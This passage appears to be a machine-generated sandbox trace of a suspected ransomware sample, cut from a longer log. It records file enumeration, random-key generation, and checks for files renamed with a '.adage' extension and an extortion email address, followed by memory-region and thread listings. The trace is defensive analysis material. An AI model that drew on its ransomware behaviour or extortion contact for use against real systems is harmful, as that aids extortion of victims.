(lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\12.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\12.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0067.278] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=5457) returned 1 [0067.278] CloseHandle (hObject=0x180) returned 1 [0067.278] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\12.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\12.png")) returned 0x20 [0067.278] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\12.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\12.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0067.278] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\12.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\12.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0067.278] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0067.278] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\120DPI\\(120DPI)alertIcon.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\120dpi\\(120dpi)alerticon.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0067.807] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=652) returned 1 [0067.807] CloseHandle (hObject=0x100) returned 1 [0067.807] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\120DPI\\(120DPI)alertIcon.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\120dpi\\(120dpi)alerticon.png")) returned 0x20 [0067.807] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\120DPI\\(120DPI)alertIcon.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\120dpi\\(120dpi)alerticon.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0067.807] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\120DPI\\(120DPI)alertIcon.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\120dpi\\(120dpi)alerticon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0067.808] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0067.808] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\120DPI\\(120DPI)greenStateIcon.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\120dpi\\(120dpi)greenstateicon.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) Process: id = "2" image_name = "34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe" filename = "c:\\users\\keecfmwgj\\desktop\\34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe" page_root = "0x44556000" os_pid = "0xed8" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0xec0" cmd_line = "\"C:\\Users\\kEecfMwgj\\Desktop\\34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe\"" cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f3d7" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 327 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 328 start_va = 0x30000 end_va = 0x31fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 329 start_va = 0x40000 end_va = 0x40fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 330 start_va = 0x50000 end_va = 0x53fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 331 start_va = 0x60000 end_va = 0x60fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 332 start_va = 0x170000 end_va = 0x1affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000170000" filename = "" Region: id = 333 start_va = 0x200000 end_va = 0x2fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 334 start_va = 0xb80000 end_va = 0xb94fff monitored = 1 entry_point = 0xb86652 region_type = mapped_file name = "34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe" filename = "\\Users\\kEecfMwgj\\Desktop\\34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe" (normalized: "c:\\users\\keecfmwgj\\desktop\\34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe") Region: id = 335 start_va = 0x77280000 end_va = 0x77428fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 336 start_va = 0x77460000 end_va = 0x775dffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 337 start_va = 0x7efb0000 end_va = 0x7efd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 338 start_va = 0x7efdb000 end_va = 0x7efddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 339 start_va = 0x7efde000 end_va = 0x7efdefff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 340 start_va = 0x7efdf000 end_va = 0x7efdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 341 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 342 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 343 start_va = 0x7fff0000 end_va = 0x7fffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 344 start_va = 0x300000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000300000" filename = "" Region: id = 345 start_va = 0x73bf0000 end_va = 0x73c2efff monitored = 0 entry_point = 0x73c1e088 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 346 start_va = 0x73b90000 end_va = 0x73bebfff monitored = 0 entry_point = 0x73bcf9f4 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 347 start_va = 0x73b80000 end_va = 0x73b87fff monitored = 0 entry_point = 0x73b820f8 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 348 start_va = 0x77160000 end_va = 0x7727efff monitored = 0 entry_point = 0x77175340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 349 start_va = 0x75130000 end_va = 0x7523ffff monitored = 0 entry_point = 0x75143283 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 350 start_va = 0x77160000 end_va = 0x7727efff monitored = 0 entry_point = 0x77175340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 351 start_va = 0x77160000 end_va = 0x7727efff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000077160000" filename = "" Region: id = 352 start_va = 0x77060000 end_va = 0x77159fff monitored = 0 entry_point = 0x7707a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 353 start_va = 0x77060000 end_va = 0x77159fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000077060000" filename = "" Region: id = 354 start_va = 0x550000 end_va = 0x81ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000550000" filename = "" Region: id = 355 start_va = 0x75130000 end_va = 0x7523ffff monitored = 0 entry_point = 0x75143283 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 356 start_va = 0x75040000 end_va = 0x75086fff monitored = 0 entry_point = 0x750474c1 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 357 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 358 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 359 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 360 start_va = 0x70000 end_va = 0xd6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 361 start_va = 0x74e80000 end_va = 0x74e91fff monitored = 0 entry_point = 0x74e81200 region_type = mapped_file name = "mpr.dll" filename = "\\Windows\\SysWOW64\\mpr.dll" (normalized: "c:\\windows\\syswow64\\mpr.dll") Region: id = 362 start_va = 0x75090000 end_va = 0x750c4fff monitored = 0 entry_point = 0x7509145d region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\SysWOW64\\ws2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll") Region: id = 363 start_va = 0x75600000 end_va = 0x756abfff monitored = 0 entry_point = 0x7560a472 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 364 start_va = 0x75c60000 end_va = 0x75d4ffff monitored = 0 entry_point = 0x75c70569 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 365 start_va = 0x74fb0000 end_va = 0x7500ffff monitored = 0 entry_point = 0x74fca3b3 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 366 start_va = 0x74fa0000 end_va = 0x74fabfff monitored = 0 entry_point = 0x74fa10e1 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 367 start_va = 0x76e10000 end_va = 0x76e28fff monitored = 0 entry_point = 0x76e14975 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 368 start_va = 0x77430000 end_va = 0x77435fff monitored = 0 entry_point = 0x77431782 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\SysWOW64\\nsi.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll") Region: id = 369 start_va = 0x75810000 end_va = 0x7590ffff monitored = 0 entry_point = 0x7582b6ed region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 370 start_va = 0x75a40000 end_va = 0x75acffff monitored = 0 entry_point = 0x75a56343 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 371 start_va = 0x75400000 end_va = 0x75409fff monitored = 0 entry_point = 0x754036a0 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 372 start_va = 0x76120000 end_va = 0x761bcfff monitored = 0 entry_point = 0x76153fd7 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 373 start_va = 0x75910000 end_va = 0x759affff monitored = 0 entry_point = 0x759249e5 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 374 start_va = 0x761c0000 end_va = 0x76e09fff monitored = 0 entry_point = 0x76241601 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\SysWOW64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll") Region: id = 375 start_va = 0x753a0000 end_va = 0x753f6fff monitored = 0 entry_point = 0x753b9ba6 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 376 start_va = 0x300000 end_va = 0x41ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000300000" filename = "" Region: id = 377 start_va = 0x4d0000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004d0000" filename = "" Region: id = 378 start_va = 0x20000 end_va = 0x3dfff monitored = 0 entry_point = 0x3158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 379 start_va = 0x550000 end_va = 0x6d7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000550000" filename = "" Region: id = 380 start_va = 0x720000 end_va = 0x81ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000720000" filename = "" Region: id = 381 start_va = 0x20000 end_va = 0x3dfff monitored = 0 entry_point = 0x3158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 382 start_va = 0x755a0000 end_va = 0x755fffff monitored = 0 entry_point = 0x755b158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 383 start_va = 0x75240000 end_va = 0x7530bfff monitored = 0 entry_point = 0x7524168b region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 384 start_va = 0x820000 end_va = 0x9a0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000820000" filename = "" Region: id = 385 start_va = 0xba0000 end_va = 0x1f9ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000ba0000" filename = "" Region: id = 386 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 387 start_va = 0x30000 end_va = 0x30fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 388 start_va = 0x9b0000 end_va = 0xb0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009b0000" filename = "" Region: id = 389 start_va = 0x73e40000 end_va = 0x73e56fff monitored = 0 entry_point = 0x73e43573 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\SysWOW64\\cryptsp.dll" (normalized: "c:\\windows\\syswow64\\cryptsp.dll") Region: id = 390 start_va = 0xe0000 end_va = 0x11bfff monitored = 0 entry_point = 0xe128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 391 start_va = 0xe0000 end_va = 0x11bfff monitored = 0 entry_point = 0xe128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 392 start_va = 0xe0000 end_va = 0x11bfff monitored = 0 entry_point = 0xe128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 393 start_va = 0xe0000 end_va = 0x11bfff monitored = 0 entry_point = 0xe128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 394 start_va = 0xe0000 end_va = 0x11bfff monitored = 0 entry_point = 0xe128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 395 start_va = 0x73e00000 end_va = 0x73e3afff monitored = 0 entry_point = 0x73e0128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 396 start_va = 0x480000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000480000" filename = "" Region: id = 397 start_va = 0x1fa0000 end_va = 0x209ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001fa0000" filename = "" Region: id = 398 start_va = 0x7efd8000 end_va = 0x7efdafff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efd8000" filename = "" Region: id = 399 start_va = 0x300000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000300000" filename = "" Region: id = 400 start_va = 0x410000 end_va = 0x41ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000410000" filename = "" Region: id = 401 start_va = 0x9d0000 end_va = 0xacffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009d0000" filename = "" Region: id = 402 start_va = 0xb00000 end_va = 0xb0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b00000" filename = "" Region: id = 403 start_va = 0xb10000 end_va = 0xb4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b10000" filename = "" Region: id = 404 start_va = 0x20a0000 end_va = 0x20dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000020a0000" filename = "" Region: id = 405 start_va = 0x2180000 end_va = 0x227ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002180000" filename = "" Region: id = 406 start_va = 0x7efad000 end_va = 0x7efaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efad000" filename = "" Region: id = 407 start_va = 0x7efd5000 end_va = 0x7efd7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efd5000" filename = "" Region: id = 408 start_va = 0xe0000 end_va = 0xe0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mpr.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\mpr.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\mpr.dll.mui") Region: id = 409 start_va = 0x74e70000 end_va = 0x74e77fff monitored = 0 entry_point = 0x74e71356 region_type = mapped_file name = "drprov.dll" filename = "\\Windows\\SysWOW64\\drprov.dll" (normalized: "c:\\windows\\syswow64\\drprov.dll") Region: id = 410 start_va = 0x738b0000 end_va = 0x738d8fff monitored = 0 entry_point = 0x738b6b19 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\SysWOW64\\winsta.dll" (normalized: "c:\\windows\\syswow64\\winsta.dll") Region: id = 411 start_va = 0x74e50000 end_va = 0x74e63fff monitored = 0 entry_point = 0x74e515c9 region_type = mapped_file name = "ntlanman.dll" filename = "\\Windows\\SysWOW64\\ntlanman.dll" (normalized: "c:\\windows\\syswow64\\ntlanman.dll") Region: id = 412 start_va = 0x74e30000 end_va = 0x74e46fff monitored = 0 entry_point = 0x74e31549 region_type = mapped_file name = "davclnt.dll" filename = "\\Windows\\SysWOW64\\davclnt.dll" (normalized: "c:\\windows\\syswow64\\davclnt.dll") Region: id = 413 start_va = 0x74e20000 end_va = 0x74e27fff monitored = 0 entry_point = 0x74e23c87 region_type = mapped_file name = "davhlpr.dll" filename = "\\Windows\\SysWOW64\\davhlpr.dll" (normalized: "c:\\windows\\syswow64\\davhlpr.dll") Region: id = 414 start_va = 0xb40000 end_va = 0xb7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b40000" filename = "" Region: id = 415 start_va = 0x2220000 end_va = 0x231ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002220000" filename = "" Region: id = 416 start_va = 0x74e10000 end_va = 0x74e1efff monitored = 0 entry_point = 0x74e112a1 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\SysWOW64\\wkscli.dll" (normalized: "c:\\windows\\syswow64\\wkscli.dll") Region: id = 417 start_va = 0x7efd5000 end_va = 0x7efd7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efd5000" filename = "" Region: id = 418 start_va = 0x2320000 end_va = 0x235ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002320000" filename = "" Region: id = 419 start_va = 0x23d0000 end_va = 0x24cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023d0000" filename = "" Region: id = 420 start_va = 0x74e00000 end_va = 0x74e0afff monitored = 0 entry_point = 0x74e01200 region_type = mapped_file name = "cscapi.dll" filename = "\\Windows\\SysWOW64\\cscapi.dll" (normalized: "c:\\windows\\syswow64\\cscapi.dll") Region: id = 421 start_va = 0x7efaa000 end_va = 0x7efacfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efaa000" filename = "" Region: id = 422 start_va = 0x74df0000 end_va = 0x74df8fff monitored = 0 entry_point = 0x74df15a6 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\SysWOW64\\netutils.dll" (normalized: "c:\\windows\\syswow64\\netutils.dll") Region: id = 423 start_va = 0x2150000 end_va = 0x218ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002150000" filename = "" Region: id = 424 start_va = 0x2500000 end_va = 0x253ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002500000" filename = "" Region: id = 425 start_va = 0x25f0000 end_va = 0x26effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000025f0000" filename = "" Region: id = 426 start_va = 0x28d0000 end_va = 0x29cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000028d0000" filename = "" Region: id = 427 start_va = 0x7efa4000 end_va = 0x7efa6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efa4000" filename = "" Region: id = 428 start_va = 0x7efa7000 end_va = 0x7efa9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efa7000" filename = "" Region: id = 429 start_va = 0x430000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 430 start_va = 0x2550000 end_va = 0x258ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002550000" filename = "" Region: id = 431 start_va = 0x27d0000 end_va = 0x28cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000027d0000" filename = "" Region: id = 432 start_va = 0x29f0000 end_va = 0x2aeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000029f0000" filename = "" Region: id = 433 start_va = 0x7ef9e000 end_va = 0x7efa0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef9e000" filename = "" Region: id = 434 start_va = 0x7efa1000 end_va = 0x7efa3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efa1000" filename = "" Region: id = 435 start_va = 0x2190000 end_va = 0x21cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002190000" filename = "" Region: id = 436 start_va = 0x2380000 end_va = 0x23bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002380000" filename = "" Region: id = 437 start_va = 0x2b50000 end_va = 0x2c4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002b50000" filename = "" Region: id = 438 start_va = 0x2cb0000 end_va = 0x2daffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002cb0000" filename = "" Region: id = 439 start_va = 0x7ef98000 end_va = 0x7ef9afff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef98000" filename = "" Region: id = 440 start_va = 0x7ef9b000 end_va = 0x7ef9dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef9b000" filename = "" Region: id = 441 start_va = 0x74de0000 end_va = 0x74decfff monitored = 0 entry_point = 0x74de12d0 region_type = mapped_file name = "browcli.dll" filename = "\\Windows\\SysWOW64\\browcli.dll" (normalized: "c:\\windows\\syswow64\\browcli.dll") Region: id = 442 start_va = 0x2db0000 end_va = 0x2ec0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002db0000" filename = "" Region: id = 443 start_va = 0x2ed0000 end_va = 0x2fe0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002ed0000" filename = "" Region: id = 444 start_va = 0x2ff0000 end_va = 0x3100fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002ff0000" filename = "" Region: id = 445 start_va = 0x3110000 end_va = 0x3220fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003110000" filename = "" Region: id = 1264 start_va = 0x2540000 end_va = 0x25fffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\kernelbase.dll.mui") Thread: id = 5 os_tid = 0xedc [0036.382] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2ffbac | out: lpSystemTimeAsFileTime=0x2ffbac*(dwLowDateTime=0xbb43f780, dwHighDateTime=0x1d93032)) [0036.382] GetCurrentProcessId () returned 0xed8 [0036.382] GetCurrentThreadId () returned 0xedc [0036.382] GetTickCount () returned 0x1029cb1 [0036.382] QueryPerformanceCounter (in: lpPerformanceCount=0x2ffba4 | out: lpPerformanceCount=0x2ffba4*=1714177892692) returned 1 [0036.398] GetStartupInfoW (in: lpStartupInfo=0x2ffb50 | out: lpStartupInfo=0x2ffb50*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\kEecfMwgj\\Desktop\\34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x2ffbb4, hStdError=0xb88ca4)) [0036.398] HeapSetInformation (HeapHandle=0x0, 